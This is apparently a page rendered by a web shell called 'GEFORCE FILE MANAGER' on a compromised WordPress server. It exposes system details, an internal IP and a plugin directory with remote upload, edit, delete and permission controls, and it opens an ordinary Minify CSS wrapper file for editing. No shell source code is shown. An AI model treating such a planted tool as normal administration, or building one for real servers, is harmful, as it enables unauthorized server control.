[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
wp-optimize
/
vendor
/
mrclay
/
minify
/
lib
/
Minify
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 CSS
SET
[ DEL ]
📁 Cache
SET
[ DEL ]
📁 Controller
SET
[ DEL ]
📁 HTML
SET
[ DEL ]
📁 JS
SET
[ DEL ]
📁 Logger
SET
[ DEL ]
📁 Source
SET
[ DEL ]
📄 App.php
9,765 B
SET
[ EDIT ]
|
[ DEL ]
📄 Build.php
2,670 B
SET
[ EDIT ]
|
[ DEL ]
📄 CSS.php
3,259 B
SET
[ EDIT ]
|
[ DEL ]
📄 CSSmin.php
2,733 B
SET
[ EDIT ]
|
[ DEL ]
📄 CacheInterface.php
1,153 B
SET
[ EDIT ]
|
[ DEL ]
📄 ClosureCompiler.php
6,170 B
SET
[ EDIT ]
|
[ DEL ]
📄 CommentPreserver.php
2,617 B
SET
[ EDIT ]
|
[ DEL ]
📄 Config.php
1,063 B
SET
[ EDIT ]
|
[ DEL ]
📄 ControllerInterface.php
411 B
SET
[ EDIT ]
|
[ DEL ]
📄 DebugDetector.php
784 B
SET
[ EDIT ]
|
[ DEL ]
📄 Env.php
3,211 B
SET
[ EDIT ]
|
[ DEL ]
📄 HTML.php
8,318 B
SET
[ EDIT ]
|
[ DEL ]
📄 ImportProcessor.php
7,468 B
SET
[ EDIT ]
|
[ DEL ]
📄 LessCssSource.php
2,890 B
SET
[ EDIT ]
|
[ DEL ]
📄 Lines.php
6,378 B
SET
[ EDIT ]
|
[ DEL ]
📄 NailgunClosureCompiler.php
2,801 B
SET
[ EDIT ]
|
[ DEL ]
📄 Packer.php
804 B
SET
[ EDIT ]
|
[ DEL ]
📄 ScssCssSource.php
4,142 B
SET
[ EDIT ]
|
[ DEL ]
📄 ServeConfiguration.php
1,451 B
SET
[ EDIT ]
|
[ DEL ]
📄 Source.php
5,451 B
SET
[ EDIT ]
|
[ DEL ]
📄 SourceInterface.php
1,428 B
SET
[ EDIT ]
|
[ DEL ]
📄 SourceSet.php
590 B
SET
[ EDIT ]
|
[ DEL ]
📄 YUICompressor.php
4,633 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: CSSmin.php
<?php /** * Class Minify_CSSmin * @package Minify */ use tubalmartin\CssMin\Minifier as CSSmin; /** * Wrapper for CSSmin * * This class uses CSSmin and Minify_CSS_UriRewriter to minify CSS and rewrite relative URIs. * * @package Minify * @author Stephen Clay <steve@mrclay.org> */ class Minify_CSSmin { /** * Minify a CSS string * * @param string $css * * @param array $options available options: * * 'removeCharsets': (default true) remove all @charset at-rules * * 'prependRelativePath': (default null) if given, this string will be * prepended to all relative URIs in import/url declarations * * 'currentDir': (default null) if given, this is assumed to be the * directory of the current CSS file. Using this, minify will rewrite * all relative URIs in import/url declarations to correctly point to * the desired files. For this to work, the files *must* exist and be * visible by the PHP process. * * 'symlinks': (default = array()) If the CSS file is stored in * a symlink-ed directory, provide an array of link paths to * target paths, where the link paths are within the document root. Because * paths need to be normalized for this to work, use "//" to substitute * the doc root in the link paths (the array keys). E.g.: * <code> * array('//symlink' => '/real/target/path') // unix * array('//static' => 'D:\\staticStorage') // Windows * </code> * * 'docRoot': (default = $_SERVER['DOCUMENT_ROOT']) * see Minify_CSS_UriRewriter::rewrite * * @return string */ public static function minify($css, $options = array()) { $options = array_merge(array( 'compress' => true, 'removeCharsets' => true, 'currentDir' => null, 'docRoot' => $_SERVER['DOCUMENT_ROOT'], 'prependRelativePath' => null, 'symlinks' => array(), ), $options); if ($options['removeCharsets']) { $css = preg_replace('/@charset[^;]+;\\s*/', '', $css); } if ($options['compress']) { $obj = new CSSmin(); $css = $obj->run($css); } if (! $options['currentDir'] && ! $options['prependRelativePath']) { return $css; } if ($options['currentDir']) { return Minify_CSS_UriRewriter::rewrite( $css, $options['currentDir'], $options['docRoot'], $options['symlinks'] ); } return Minify_CSS_UriRewriter::prepend( $css, $options['prependRelativePath'] ); } }